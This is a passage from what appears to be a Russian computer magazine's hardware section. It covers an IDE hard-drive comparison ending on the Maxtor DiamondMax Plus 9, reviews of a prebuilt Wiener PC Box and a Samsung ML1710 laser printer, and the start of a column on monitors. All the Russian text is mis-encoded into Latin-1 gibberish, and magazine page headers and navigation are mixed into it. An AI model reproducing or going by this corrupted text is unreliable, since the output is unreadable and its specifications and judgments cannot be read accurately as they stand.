÷òî ÷åì ìåíüøå äåòàëåé – òåì<br />
íàäåæíåå óñòðîéñòâî, ïîýòîìó îäèí<br />
áëèí ëó÷øå äâóõ! Âèíò îáëàäàåò<br />
ñðåäíèìè ñêîðîñòíûìè õàðàêòåðèñòèêàìè,<br />
äîâîëüíî òèõèé, íî ñèëüíî<br />
ãðååòñÿ!<br />
16 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Ferrum<br />
ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />
test_lab (test_lab@gameland.ru)<br />
MAXTOR DIAMONDMAX<br />
PLUS 9 6Y080L0<br />
Ðåàëüíàÿ åìêîñòü 76.33 (ÃÁ);<br />
Êîëè÷åñòâî äèñêîâ 2;<br />
Êîëè÷åñòâî ãîëîâîê 4;<br />
Èíòåðôåéñ Ultra ATA/100;<br />
Average Seek (ms) 9.4;<br />
Ñðåäíåå âðåìÿ îæèäàíèÿ<br />
4.2 ìñ;<br />
Îáúåì áóôåðíîé êýø-ïàìÿòè<br />
2048 Êá;<br />
Óäàð (ðàáî÷èé ðåæèì)<br />
60 G, 2ìñ;<br />
Óäàð (ðåæèì õðàíåíèÿ)<br />
300 G, 2ìñ;<br />
Ïîòðåáëåíèå (Äîñòóï) 12,2 W;<br />
Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />
7,3 W;<br />
Øóì (Íåò çàíÿòîñòè) 2.7 áåëë;<br />
Øóì (×òåíèå/çàïèñü) 3,5 áåëë.<br />
HDTach ïîêàçûâàåò âìåñòå ñ WD<br />
Caviar WD800JB è IBM Deskstar<br />
180GXP IC35L090AVV207 ëó÷øèå ðåçóëüòàòû<br />
ïî ëèíåéíîé ñêîðîñòè ÷òåíèÿ.<br />
Âðåìÿ ïîèñêà äîâîëüíî áîëüøîå.<br />
IOMetr ïîêàçûâàåò õóäøèé ðåçóëüòàò.<br />
Âåðîÿòíî, àëãîðèòì íå ñàìûé îïòèìàëüíûé<br />
äëÿ ñåðâåðíûõ çàäà÷.<br />
WinBench äàåò èäåàëüíûé ãðàôèê.<br />
Ïîêàçûâàåò íèçêèå ðåçóëüòàòû íà<br />
Business è âûñîêèå íà Hi-End.<br />
ATTO ïîêàçûâàåò êàðòèíó ÷óòü õóæå,<br />
÷åì ó IBM.<br />
Îäèí èç ñàìûõ òèõèõ âèí÷åñòåðîâ íà õîëîñòîì<br />
õîäó, ñàìûé ãðîìêèé ïî ãîëîâêàì,<br />
íî ñàìûé òèõèé â òèõîì ðåæèìå.<br />
Ðåçîíèðóåò â ðåæèìå õîëîñòîãî õîäà.<br />
Èòàê, ìû èìååì íå ñàìûé áûñòðûé,<br />
íî ñàìûé òèõèé âèí÷åñòåð ñ íåïëîõèì<br />
ãðàôèêîì DTR áåç çóáüåâ. Ìû<br />
äîëãî íå ìîãëè âûáðàòü ìåæäó IBM<br />
Deskstar 180GXP IC35L090AVV207 è<br />
MAXTOR diamondMAX plus 9 6Y080L0.<br />
Îäíàêî ïîñ÷èòàëè MAXTOR<br />
diamondMAX plus 9 6Y080L0 áîëåå íàäåæíûì,<br />
ñóäÿ ïî ãðàôèêó DTR. Ìû áû<br />
âçÿëè åãî ñåáå äëÿ äîìàøíåãî èñïîëüçîâàíèÿ.<br />
Êñòàòè, ïîêóïàÿ MAX-<br />
TOR diamondMAX plus 9 6Y080L0, òàêæå<br />
ïîëó÷àåøü âûèãðûø â äâà ãèãà.<br />
Ãðàôèê ïîêàçûâàåò ëèíåéíûå ñêîðîñòè. Îáðàòè âíèìàíèå íà<br />
ñðåäíþþ (average). Ëó÷øå, êîãäà ðàçáðîñ ìåæäó ìàêñèìóì îì<br />
è ìèíèìóìîì íåáîëüøîé.<br />
Ãðàôèê ïîêàçûâàåò ñêîðîñòü ðàáîòû ñ ôàéë-ñåðâåðîì â<br />
çàâèñèìîñòè îò íàãðóçêè. Ýòî îñíîâíîé ñåðâåðíûé òåñò.<br />
Ýìóëÿöèÿ îôèñíûõ ïðèëîæåíèé.<br />
Âðåìÿ ñëó÷àéíîãî äîñòóïà, ÷åì îíî ìåíüøå, òåì áûñòðåå âèíò<br />
ñïðàâëÿåòñÿ ñ ïîèñêîì ðàçðîçíåííûõ áëîêîâ äàííûõ, ÷òî<br />
ïîìîãàåò âûèãðàòü â ñåðâåðíûõ òåñòàõ.<br />
Ãðàôèê ïîêàçûâàåò ñêîðîñòü ðàáîòû ñ WEB-ñåðâåðîì â<br />
çàâèñèìîñòè îò íàãðóçêè. Ýòî âñïîìîãàòåëüíûé ñåðâåðíûé òåñò.<br />
Ýìóëÿöèÿ Hi-End ïðèëîæåíèé.<br />
ÂÛÂÎÄÛ<br />
Âèí÷åñòåðû îòëè÷àþòñÿ íå ñèëüíî, ó âñåõ ñâîè<br />
ïëþñû è ìèíóñû, îäíàêî âûáîð ñäåëàí!<br />
Äëÿ ñåðâåðíûõ è äîìàøíèõ çàäà÷ íåïëîõî ïîäõîäèò<br />
SAMSUNG SpinPoint P40 SP8004H, îí ñàìûé<br />
íàäåæíûé, ñàìûé õîëîäíûé, îäèí èç ñàìûõ áûñòðûõ<br />
íà ñåðâåðíûõ çàäà÷àõ. Íî äîâîëüíî ãðîìêèé<br />
äëÿ äîìà.<br />
Äëÿ ïðîôåññèîíàëüíûõ è äîìàøíèõ çàäà÷ ïîäîéäåò<br />
IBM Deskstar 180GXP IC35L090AVV207, îí<br />
ïðîñòî ñàìûé-ñàìûé áûñòðûé. Íà ñåðâåðíûõ<br />
çàäà÷àõ è íà Hi-End îí ïîêàçàë ñåáÿ ñ íàèëó÷øåé<br />
ñòîðîíû. Îäíàêî íàñ ñìóòèëè çóá÷èêè íà ãðàôèêå<br />
è ðåçîíàíñû. Õîòÿ âèíò äîñòàòî÷íî òèõèé.<br />
Ê ñåáå äîìîé ìû áû âçÿëè MAXTOR diamondMAX<br />
plus 9 6Y080L0. Îí ñàìûé òèõèé, íàäåæíûé (çóá-<br />
÷èêîâ íåò) è äîâîëüíî áûñòðûé.<br />
Íàïîñëåäîê åùå î òåìïåðàòóðå:<br />
Íåîáõîäèìî îòìåòèòü, ÷òî IOmeter - ñåðâåðíûé ñèíòåòè÷åñêèé<br />
òåñò, è îí íàãðóæàåò äèñêîâóþ ïîäñèñòåìó<br />
ãîðàçäî ñèëüíåé, ÷åì òèïè÷íûå îôèñíûå ïðèëîæåíèÿ.<br />
Ïîæàëóé, ìîæíî ñêàçàòü, ÷òî ýòî ìàêñèìàëüíî<br />
âîçìîæíàÿ òåìïåðàòóðà äëÿ äàííûõ äèñêîâ ïðè<br />
óñëîâèè õîðîøåãî îõëàæäåíèÿ. Ìû ñ÷èòàåì, ÷òî îõëàæäåíèå<br />
íåîáõîäèìî, åñëè äèñê áóäåò àêòèâíî<br />
(íåïðåðûâíîå ÷òåíèå-çàïèñü) èñïîëüçîâàòüñÿ áîëåå<br />
10 ìèíóò ïîäðÿä. Èñêëþ÷åíèå ìîæíî ñäåëàòü äëÿ<br />
Ñàìñóíãà, ó êîòîðîãî òåìïåðàòóðà ìåíüøå îñòàëüíûõ<br />
ïî÷òè íà 10 ãðàäóñîâ, è åñòü øàíñ, ÷òî îíà íå<br />
ïðåâûñèò ïðåäåëüíîãî ïàñïîðòíîãî çíà÷åíèÿ.<br />
Òî åñòü, åñëè òû ñîáðàëñÿ þçàòü âèíò<br />
íà ïðåäåëå åãî ñêîðîñòíûõ âîçìîæíîñòåé<br />
– îõëàæäàé! Êñòàòè, ìû âûáðàëè<br />
èç âñåõ ñàìûå õîëîäíûå âèíòû!<br />
18 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Ferrum<br />
ÊÎÌÏÜÞÒÅÐ ÁÅÇ<br />
ÊÎÌÏÜÞÒÅÐ ÁÅÇ ÃÈÌÎÐÀ!<br />
test_lab (test_lab@gameland.ru)<br />
ÃÈÌÎÐÀ!WIENER PC BOX<br />
Ïîêóïàÿ íîâûé êîìï, áîëüøèíñòâî þçåðîâ<br />
äîëãî ìó÷àþòñÿ, çàêàïûâàÿñü â êèïàõ<br />
ïðàéñîâ. Äàæå ïðîäâèíóòûå â æåëåçíîì<br />
ïëàíå ïåðöû èíîãäà ïî ïîëãîäà íå ìîãóò<br />
ðåøèòü, íà êàêîé ïëàòôîðìå îíè õîòÿò<br />
ñîáèðàòü ñâîþ íîâóþ ìàøèíó, ñ êàêîé âèäþõîé<br />
è ò.ä. Êîðî÷å, ñáîð êîìïà - ýòî ãèìîð!<br />
È äëÿ òåõ, êòî íå ðàçáèðàåòñÿ (íåèìîâåðíî<br />
ñëîæíî ñîðèåíòèðîâàòüñÿ â êó÷å<br />
òåõíîëîãèé è ïîíÿòü, ÷òî ñ ÷åì ñîâìåñòèìî),<br />
è äëÿ òåõ, êòî ñå÷åò (õî÷åòñÿ, ÷òîá<br />
òà÷êà áûëà ïðîñòî èäåàëüíåéøåé, íî<br />
âñåãäà òðóäíî âûáðàòü ÷òî-òî êîíêðåòíîå,<br />
äà åùå è ÷òîá ïîòðàòèòüñÿ ïî ìèíèìóìó).<br />
Äëÿ ïåðâûõ îáû÷íî âñå ñâîäèòñÿ ê òîìó,<br />
÷òî ÷åë ïðèõîäèò â ìàãàç, è êîíñóëüòàíòû<br />
ñîáèðàþò åìó êîìï èç ðàçíîãî õëàìà. Äëÿ<br />
âòîðûõ - ìîæåò áûòü ÷òî óãîäíî, òàê êàê<br />
íåèñïîâåäèìû ïóòè ðàíäîìîâñêèå :), íî<br />
áåç ãèìîðà òîæå íå îáõîäèòñÿ.<br />
Îáëåã÷èòü ó÷àñòü òàêèõ ñòðàäàëüöåâ<br />
âûçâàëàñü êîìïàíèÿ R.&K., ïðåäñòàâèâ<br />
ñâîå íîâîå ðåøåíèå - óæå ñîáðàííûé è<br />
ïîëíîñòüþ ãîòîâûé ê ðàáîòå êîìïüþòåð<br />
â îäíîé êîðîáêå. Ïðè÷åì ïîä êîìïüþòåðîì<br />
ïîäðàçóìåâàåòñÿ íå ñèñòåìíûé<br />
áëîê, êàê ýòî ÷àùå âñåãî áûâàåò, à<br />
èìåííî ïîëíîöåííûé êîìï, ñîñòîÿùèé<br />
èç ìîíèòîðà, ñèñòåìíèêà, ïðèíòåðà,<br />
ñêàíåðà è âñåãî îñòàëüíîãî, ÷òî ìîæåò<br />
ïîòðåáîâàòüñÿ. È âñå â îäíîé êîðîáêå<br />
(ïðàâäà, î÷åíü áîëüøîé). Ýòî ïåðâûé<br />
ñëó÷àé ïîäîáíîé ïîñòàâêè êîìïîâ íà<br />
íàøåì ðûíêå, ïîýòîìó ìû ðåøèëè ïðîòåñòèòü<br />
ñåé ïðîäóêò è âûÿñíèòü, íàñêîëüêî<br />
îí õîðîø. Õîòÿ íåêîòîðûå ïëþñû<br />
óæå î÷åâèäíû è áåç òåñòèðîâàíèÿ:<br />
ïîëíàÿ ñîâìåñòèìîñòü âñåãî ñî âñåì è<br />
íèêàêîãî ãèìîðà ñ äðîâàìè.<br />
ÊÎÌÏËÅÊÒÀÖÈß<br />
Èòàê, ïîñìîòðèì, ÷òî æå íàõîäèòñÿ â<br />
ýòîé îãðîìíîé êîðîáêå.<br />
Êàê âèäèøü, â áîêñå åñòü âñå íåîáõîäèìîå<br />
äëÿ íà÷àëà èíòåíñèâíîé ýêñïëóàòàöèè<br />
êîìïüþòåðà. Îäíàêî ÷òîáû ïîëó-<br />
÷èòü ïîëíîå ïðåäñòàâëåíèå î åãî êîìïëåêòóþùèõ,<br />
òðåáóåòñÿ áîëåå äåòàëüíîå<br />
ðàññìîòðåíèå, ÷åì ìû è çàéìåìñÿ.<br />
Íåáîëüøîé, íî ñòèëüíûé êîðïóñ<br />
WorldTop WT U-100 ïðèþòèë â ñâîåì<br />
÷ðåâå íàäåæíóþ ìàòåðèíñêóþ ïëàòó<br />
Gigabyte GA-8SIMLH ñ äâóõãèãàãåðöîâûì<br />
Pentium4 Celeron íà áîðòó, ïðîèçâîäèòåëüíîñòè<br />
êîòîðîãî õâàòèò äëÿ áîëüøèíñòâà<br />
ñîâðåìåííûõ çàäà÷. Îáúåì îïåðàòèâêè<br />
(256 Ìá), êîíå÷íî, íå ñàìûé âïå-<br />
÷àòëÿþùèé, ò.ê. åãî ìîæåò íå õâàòèòü<br />
äëÿ ñåðüåçíîãî ñîôòà è èãðóøåê, íî ïðè<br />
íåîáõîäèìîñòè âñåãäà ìîæíî äîêóïèòü<br />
åùå îäèí ìîäóëü ïàìÿòè è íå ïàðèòüñÿ<br />
ïî ýòîìó ïîâîäó. À âñåìó ýòîìó<br />
ðàçíîîáðàçíîìó ñîôòó è èãðóøêàì áóäåò<br />
ãäå ðàçìåñòèòüñÿ íà âèí÷åñòåðå â<br />
40 Gb îò Western Digital.<br />
Ïðàâäà, ñî âñòðîåííîé âèäåîêàðòîé<br />
îñîáî íå íàèãðàåøüñÿ, çàòî îñòàíåòñÿ<br />
áîëüøå âðåìåíè íà ðàáîòó, ó÷åáó è íà<br />
òâîè ìàëåíüêèå õàöêåðñêèå õîááè :).<br />
Åñëè æå áåç ñîâðåìåííûõ ãàìåñîâ<br />
ïðåäñòàâèòü ñâîé äîñóã ñëîæíîâàòî,<br />
ïðèäåòñÿ çàäóìàòüñÿ î ïîêóïêå îòäåëüíîé<br />
âèäåîêàðòû, èñõîäÿ èç ñîáñòâåííûõ<br />
ïðåäïî÷òåíèé è ïîñòàâëåííûõ çàäà÷.<br />
Ñåòåâàÿ êàðòà Realtek ïîçâîëèò<br />
áûñòðî ïîäêëþ÷èòüñÿ ê ñåòè, à ôàêñìîäåì<br />
D-Link DFM-562IS óæå ãîòîâ äëÿ<br />
ìåãàòîííîãî ñêà÷èâàíèÿ èç èíåòà.<br />
ÊÎÍÔÈÃÓÐÀÖÈß: Wiener W2161<br />
Êîðïóñ WorldTop WT U-100 (MicroATX);<br />
Ïðîöåññîð Intel Pentium4 Celeron 2 ÃÃö;<br />
Ìàòåðèíñêàÿ ïëàòà Gigabyte GA-8SIMLH;<br />
Îïåðàòèâíàÿ ïàìÿòü 256 Mb DDR;<br />
Âèí÷åñòåð Western Digital WD400EB (40 Ãáàéò);<br />
Âñòðîåííàÿ âèäåîêàðòà (SiS 650);<br />
Âñòðîåííàÿ çâóêîâóõà (SiS 7012);<br />
CD-ïðèâîä Sony 52x (CDU5231);<br />
Ñåòåâàÿ êàðòà Realtek (RTL8139);<br />
Äèñêîâîä 3,5";<br />
Ñåòåâàÿ êàðòà Realtek (RTL8139);<br />
Âíóòðåííèé ôàêñ-ìîäåì D-Link DFM-562IS;<br />
ÎÑ - Microsoft Windows XP Home Edition;<br />
Îáó÷àþùèå ïðîãðàììû "1Ñ".<br />
 íàøå âðåìÿ æèäêîêðèñòàëëè÷åñêèé<br />
ìîíèê íå ÿâëÿåòñÿ äèêîâèíêîé, äà è<br />
öåíà íà ïîäîáíûå äåâàéñû óæå îïóñòèëàñü<br />
äî ïðèåìëåìûõ îòìåòîê. Òàê ÷òî<br />
ýòîò âûáîð ñáîðùèêîâ âïîëíå îïðàâäàí,<br />
êàê â öåíîâîì ïëàíå, òàê è â ïëàíå<br />
áåçîïàñíîñòè. Âåäü íà çðåíèè, êàê<br />
èçâåñòíî, ýêîíîìèòü íå ïðèíÿòî, îñîáåííî,<br />
åñëè çà êîìïüþòåðîì áóäåò áàëîâàòüñÿ<br />
êàêîé-íèáóäü êèíäåð.<br />
Ïðèíòåðû îò êîìïàíèè Lexmark õîòÿ è<br />
íå çàíèìàþò ïåðåäîâûõ ïîçèöèé íà<br />
ðûíêå, çàòî èìåþò î÷åíü ïðèâëåêàòåëüíóþ<br />
öåíó. À èìåííî ýòà ìîäåëü<br />
ïîçâîëèò áåç îñîáûõ óñèëèé è ìàòåðèàëüíûõ<br />
çàòðàò ðàñïå÷àòûâàòü êàê ðåôåðàòû,<br />
òàê è ôîòîãðàôèè. Öâåòíîé è<br />
÷åðíî-áåëûé êàòðèäæ ïðèëàãàþòñÿ.<br />
Êîìïàíèÿ Mustek âñåãäà ñëàâèëàñü<br />
ñâîèìè ñêàíåðàìè, à ìîäåëü BearPaw<br />
1200CS î÷åðåäíîå òîìó ïîäòâåðæäåíèå.<br />
Ñêàíåð èìååò äîñòîéíûå õàðàêòåðèñòèêè<br />
è ìîæåò ïîõâàñòàòüñÿ èíòóèòèâíî<br />
ïîíÿòíûì óïðàâëåíèåì, êîòîðîå<br />
ëåãêî îñâîèò äàæå ðåáåíîê.<br />
ÏÎÄÊËÞ×ÅÍÈÅ<br />
Òåïåðü íàñòàëî âðåìÿ<br />
ïîñìîòðåòü, äåéñòâèòåëüíî<br />
ëè ýòîò êîìïüþòåð ïîëíîñòüþ<br />
ãîòîâ ê ðàáîòå è íå<br />
òðåáóåò íèêàêîé óñòàíîâêè<br />
äðàéâåðîâ, êàê îáåùàþò<br />
ðàçðàáîò÷èêè. Èòàê, ìûøêà,<br />
êëàâèàòóðà, ñêàíåð è<br />
ïðèíòåð ïîäñîåäèíåíû ê<br />
ñèñòåìíèêó, êàáåëü îò ìîíèòîðà<br />
âîòêíóò â ðàçúåì<br />
âñòðîåííîé âèäåîêàðòû.<br />
Âêëþ÷àåì êîìï, ñëåäóåò<br />
çàãðóçêà Windows XP (Home<br />
Edition) - âñå îáîðóäîâàíèå<br />
íàéäåíî, äðàéâåðà óñòàíîâëåíû<br />
êàê íóæíî, åäèíñòâåííîå<br />
èñêëþ÷åíèå - ñêàíåð Mustek<br />
BearPaw. Äëÿ íåãî ïîòðåáîâàëàñü îòäåëüíàÿ<br />
óñòàíîâêà ñîôòà è äðàéâåðîâ ñ<br />
ôèðìåííîãî êîìïàêòà. Â îáùåì, ïðèñòóïèòü<br />
ê ðàáîòå ñ ýòèì êîìïüþòåðîì ìîæíî<br />
áåç îñîáûõ óñèëèé çà êàêèå-òî ïîë÷àñà,<br />
÷òî äîëæíî ïîðàäîâàòü íå î÷åíü<br />
îïûòíûõ ïîëüçîâàòåëåé.<br />
ÒÅÑÒÛ<br />
×òîáû ïîëó÷èòü áîëåå íàãëÿäíîå<br />
ïðåäñòàâëåíèå î âîçìîæíîñòÿõ è ïðîèçâîäèòåëüíîñòè<br />
WIENER PC BOX, ìû<br />
ïîäâåðãëè åãî æåñòîêèì ïûòêàì ïîïóëÿðíûìè<br />
òåñòàìè.<br />
PC MARK 2002<br />
822<br />
3437<br />
4057<br />
CPU score N/A<br />
memory score N/A<br />
hdd score N/A<br />
SiSoft Sandra 2002<br />
1087<br />
2515<br />
3626<br />
7981<br />
9829<br />
ALU score MIPS<br />
SSE2MFLOPS<br />
FPU MFLOPS<br />
Integer MMX/SSE Èíòåðàöèé/ñåêóíäû<br />
Floating-pont Èíòåðàöèé/ñåêóíäû<br />
1644<br />
21837<br />
Memory Benchmark MÁ/ñåêóíäó<br />
HDD Benchmark MÁ/ñåêóíäó<br />
3D MARK 2001<br />
1162<br />
1597<br />
1024/768<br />
800/600<br />
Êàê âèäíî èç òåñòîâ, ïðîèçâîäèòåëüíîñòü<br />
ýòîãî êîìïüþòåðà íàõîäèòñÿ íà äîñòîéíîì<br />
óðîâíå, ïîêà äåëî íå äîõîäèò äî èãðîâûõ<br />
ïðèëîæåíèé. Êàê ìû óæå ïèñàëè<br />
âûøå, äëÿ ñåðüåçíûõ èãðóøåê ëó÷øå äîêóïèòü<br />
îòäåëüíóþ âèäåîêàðòó, ò.ê. ìîùíîñòåé<br />
âñòðîåííîé áóäåò íåäîñòàòî÷íî â<br />
ñîâðåìåííûõ õèòîâûõ ãàìåñàõ. À â îáùåì<br />
è öåëîì, WIENER PC BOX ïðîèçâåë õîðîøåå<br />
âïå÷àòëåíèå è ñâîþ öåíó (îêîëî<br />
$1000) îí, êîíå÷íî, îïðàâäûâàåò, ïîýòîìó<br />
åãî âïîëíå ìîæíî ðåêîìåíäîâàòü â êà÷åñòâå<br />
ñåìåéíîãî êîìïüþòåðà.<br />
1 2 3 4<br />
20 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ferrum<br />
SAMSUNG ML1710<br />
test_lab (test_lab@gameland.ru)<br />
Ñåãîäíÿ ìû áóäåì àïãðåéäèòü<br />
òàêîå âàæíîå äëÿ âñåõ ëþáèòåëåé<br />
ïî÷èòàòü íà áóìàãå ÷óæèå<br />
èñõîäíèêè óñòðîéñòâî, êàê<br />
ïðèíòåð. Â ðîëè ðåêîìåíäóåìîãî<br />
äåâàéñà - íîâåíüêèé ëàçåðíûé<br />
ïðèíòåð Samsung Ml1710.<br />
UPGRADE<br />
SAMSUNG ML1710<br />
Ëó÷ ëàçåðà â òåìíîé öàðñòâå<br />
Ñóïåð<br />
âåùü!<br />
Âîîáùå Samsung çàíÿëñÿ ëàçåðíûìè<br />
ïðèíòåðàìè íå òàê äàâíî, è ïîíà÷àëó<br />
ìíîãèå âîñïðèíèìàëè èõ íàñòîðîæåííî:<br />
íîâè÷îê íà ðûíêå, äà ê òîìó<br />
æå ñòîèëè ýòè ïðèíòåðû ïîäîçðèòåëüíî<br />
äåøåâî. Íî êàê âûÿñíèëîñü ñî<br />
âðåìåíåì, â ñåêòîðå ïå÷àòàþùèõ<br />
óñòðîéñòâ êîìïàíèÿ õàëòóðèòü íå ñòàëà,<br />
è ïðèíòåðû ïîêàçàëè ñåáÿ ñ íàèëó÷øåé<br />
ñòîðîíû. Äîïîäëèííî èçâåñòåí<br />
ñëó÷àé, êîãäà ëàçåðíèê ýòîé ôèðìû<br />
ïåðåæèë ïîæàð, áûë ïîëíîñòüþ<br />
çàëèò âîäîé (ïðè÷åì íà ïðîòÿæåíèè<br />
íåñêîëüêèõ äíåé) è âûæèë! Ïîòðåáîâàëîñü<br />
âñåãî-òî ðàçîáðàòü åãî è ïðîñóøèòü,<br />
ïîñëå ÷åãî îí ïðåêðàñíî çàðàáîòàë<br />
è ðàáîòàåò ïî ñåé äåíü. Æåëåçíîå<br />
æåëåçî, êîðî÷å :).<br />
Èòàê, âåðíåìñÿ ê íàøåìó ýêçåìïëÿðó.<br />
Íîâûé ëàçåðíèê ìîæåò ïîõâàñòàòüñÿ<br />
î÷åíü íåïëîõèìè õàðàêòåðèñòèêàìè.<br />
Íå hi-end, êîíå÷íî, íî äëÿ<br />
ïðèíòåðà òàêîãî êëàññà è, ãëàâíîå,<br />
òàêîé öåíû ëó÷øå íåêóäà. Îòëè÷èòåëüíûå<br />
îñîáåííîñòè ïðèíòåðà - åãî<br />
íåáîëüøîé ðàçìåð (ðàçìåðîì îí ñî<br />
ñðåäíèé ñòðóéíèê) è âíóòðåííèé ëîòîê<br />
äëÿ áóìàãè. Åñëè ïðî ïðåèìóùåñòâà<br />
íåáîëüøèõ ðàçìåðîâ óñòðîéñòâà<br />
íèêîìó íè÷åãî îáúÿñíÿòü íå íàäî, òî<br />
ïðî âíóòðåííèé ëîòîê äëÿ áóìàãè<br />
ñòîèò ñêàçàòü ïàðó ñëîâ. Òîò, ó êîãî<br />
åñòü ëàçåðíèê ñ "âåðõíåé" çàãðóçêîé<br />
áóìàãè, íàâåðíÿêà ñòàëêèâàëñÿ ñ<br />
ïðîáëåìîé, êîãäà ïðèíòåð íå õî÷åò<br />
áðàòü èç ïà÷êè 1 ëèñò, à áåðåò ñðàçó<br />
íåñêîëüêî è áåçáîæíî èõ æóåò. Ýòî<br />
ïðîèñõîäèò èç-çà òîãî, ÷òî ìåõàíèçì<br />
çàãðóçêè áóìàãè îòêðûò, è â íåãî<br />
î÷åíü ëåãêî ïîïàäàþò ïûëü è ãðÿçü,<br />
÷òî ïðèâîäèò ê ñáîÿì, à òî è ê âûõîäó<br />
èç ñòðîÿ. Âñå ïðèíòåðû ñ "íèæíåé"<br />
çàãðóçêîé ýòîãî íåäîñòàòêà ëèøåíû,<br />
è òàêèõ ïðîáëåì ñ íèìè íå<br />
âîçíèêàåò. Òàêæå íåìàëîâàæíî òî,<br />
÷òî òàêîé ñïîñîá çàãðóçêè áóìàãè<br />
óìåíüøàåò ãàáàðèòíûå ðàçìåðû<br />
ïðèíòåðà, äåëàÿ åãî áîëåå êîìïàêòíûì<br />
è óäîáíûì. Ëîòîê äàííîé ìîäåëè<br />
âìåùàåò â ñåáÿ ñðàçó 250 ëèñòîâ.<br />
Ïðèíòåð èìååò íåïëîõîé äèçàéí, âñå<br />
îðãàíû óïðàâëåíèÿ ðàñïîëîæåíû<br />
î÷åíü óäîáíî. Íà íåì âñåãî äâå êíîïêè<br />
- ïèòàíèå è âêëþ÷åíèå/âûêëþ÷åíèå<br />
ðåæèìà îíëàéí. Êðîìå ýòîãî åñòü äâå<br />
äèàãíîñòè÷åñêèå ëàìïî÷êè. Äåâàéñ<br />
ïîäêëþ÷àåòñÿ ê êîìïüþòåðó ïî èíòåðôåéñó<br />
USB 1.1 - ñòàðîãî äîáðîãî LPT<br />
óæå íåò, êàíóë â ëåòó (òóäà åìó, òîðìîçíîìó,<br />
è äîðîãà). Ïå÷àòàåò<br />
Samsung Ml1710 î÷åíü òèõî è äîâîëüíî<br />
áûñòðî: ñêîðîñòü ïå÷àòè - 16 ñòðàíèö<br />
â ìèíóòó, âðåìÿ âûõîäà ïåðâîé<br />
ñòðàíèöû - 11 ñåêóíä. Ñåðäöå ïðèíòåðà<br />
- ôèðìåííûé ïðîöåññîð Samsung ñ<br />
÷àñòîòîé 90 MHz, íà áîðòó ó íåãî 8 Mb<br />
ïàìÿòè, áëàãîäàðÿ ÷åìó çàãðóçêà äàííûõ<br />
ïðîèñõîäèò áûñòðî, äàæå äîêóìåíòû<br />
ñ êàðòèíêàìè íà÷èíàþò ïå÷àòàòüñÿ<br />
ïðàêòè÷åñêè ñðàçó.<br />
Ïå÷êà ðàçîãðåâàåòñÿ î÷åíü áûñòðî,<br />
ïðàêòè÷åñêè ñðàçó ïîñëå âêëþ÷åíèÿ<br />
ïðèíòåð ãîòîâ ê ðàáîòå. Íîâèíêà èìååò<br />
ôèðìåííóþ òåõíîëîãèþ ýêîíîìèè<br />
òîíåðà. Ñ åå ïîìîùüþ ìîæíî ñõàëÿâèòü<br />
äî 40 ïðîöåíòîâ òîíåðà áåç ïîòåðè<br />
êà÷åñòâà. Ðàäóåò äîâîëüíî âìåñòèòåëüíûé<br />
êàðòðèäæ, îí ðàññ÷èòàí íà<br />
3000 ñòðàíèö ïðè 5-ïðîöåíòíîì çàïîëíåíèè<br />
ñòðàíèöû (3000 ñòðàíèö -<br />
ýòî áåç ðåæèìà ýêîíîìèè, à ñ íèì áóäåò<br />
öåëûõ 4200 ñòðàíèö). Êàê âûÿñíèëîñü,<br />
íîâîðîæäåííûé ãîëîäíûé, êàê<br />
ñîáàêà è ãîòîâ æðàòü ëþáóþ áóìàãó -<br />
Letter, legal, Monarch, com 10, C5, DL,<br />
A4, A5, B5. Ñóäÿ ïî ñïåöèôèêàöèè,<br />
ïðèíòåð ñïîñîáåí ðàáîòàòü ïðàêòè÷åñêè<br />
ñ ëþáîé îïåðàöèîíêîé è íà ðàçíûõ<br />
ïëàòôîðìàõ. Êàê è ñëåäîâàëî îæèäàòü,<br />
ïîääåðæèâàåòñÿ âñå ñåìåéñòâî ìàñòäàåâ,<br />
íàø ëþáèìûé ëèíóêñ âî âñåõ åãî<br />
ïðîÿâëåíèÿõ è, êàê íè ñòðàííî,<br />
ÌacOS, íà÷èíàÿ ñ âåðñèè 8.6 è ñòàðøå<br />
(âêëþ÷àÿ MacOS X).<br />
Òåïåðü î ñàìîì ãëàâíîì - î ðàçðåøåíèè.<br />
Îíî ó àïïàðàòà ñîñòàâëÿåò<br />
600x600 dpi. Ýòî, êîíå÷íî, íå îñîáî<br />
ìíîãî, íî äëÿ ÷åðíî-áåëîãî ëàçåðíèêà<br />
áîëåå ÷åì äîñòàòî÷íî. Øïàðãàëêè,<br />
íàïå÷àòàííûå "âîñüìåðî÷êîé"<br />
áóäóò âïîëíå ÷èòàáåëüíûìè, à íåìíîãî÷èñëåííûå<br />
êàðòèíêè áóäóò ñìîòðåòüñÿ<br />
ïðîñòî çäîðîâî.<br />
È íàïîñëåäîê ñàìûå ñêó÷íûå õàðàêòåðèñòèêè:<br />
ïîòðåáëÿåìàÿ ìîùíîñòü â ðåæèìå<br />
îæèäàíèÿ - ìåíåå 10 Âò, â ðåæèìå ðàáîòû<br />
- 280 Âò. Ðàçìåð - 348x355x193<br />
(ØxÃxÂ) ìì. Ðàáî÷èé öèêë -<br />
15000 ñòðàíèö â ìåñÿö.<br />
22 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ÎÊÍÎ Â ÖÈÔÐÓ<br />
INSIDE<br />
Íèêèòà «Nikitos» Êèñëèöèí<br />
(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />
ÎÊÍÎ Â ÖÈÔÐÓ<br />
INTROÄÀÊØÍ<br />
Óæå âûøëî 8 âûïóñêîâ èíñàéäà,<br />
ÿ ðàññêàçàë òåáå î ñòðîåíèè<br />
è ïðèíöèïàõ ðàáîòû îñíîâíûõ<br />
óñòðîéñòâ, òåõ, ÷òî òû<br />
èñïîëüçóåøü â ïîâñåäíåâíîé<br />
ðàáîòå çà êîìïüþòåðîì. Íåçàñëóæåííî<br />
çàáûòà ëèøü òåìà<br />
ìîíèòîðîâ – à íàïðàñíî, âåäü<br />
ýòî îäíî èç òåõ óñòðîéñòâ, áåç<br />
êîòîðûõ íåìûñëèìà ïîëíîöåííàÿ<br />
ðàáîòà ñ êîìïîì. Íàñòîÿùåìó<br />
ãèêó î÷åíü âàæíî çíàòü,<br />
êàê óñòðîåí è ðàáîòàåò ìîíèòîð,<br />
êàêèìè ïðèíöèïàìè ñëåäóåò<br />
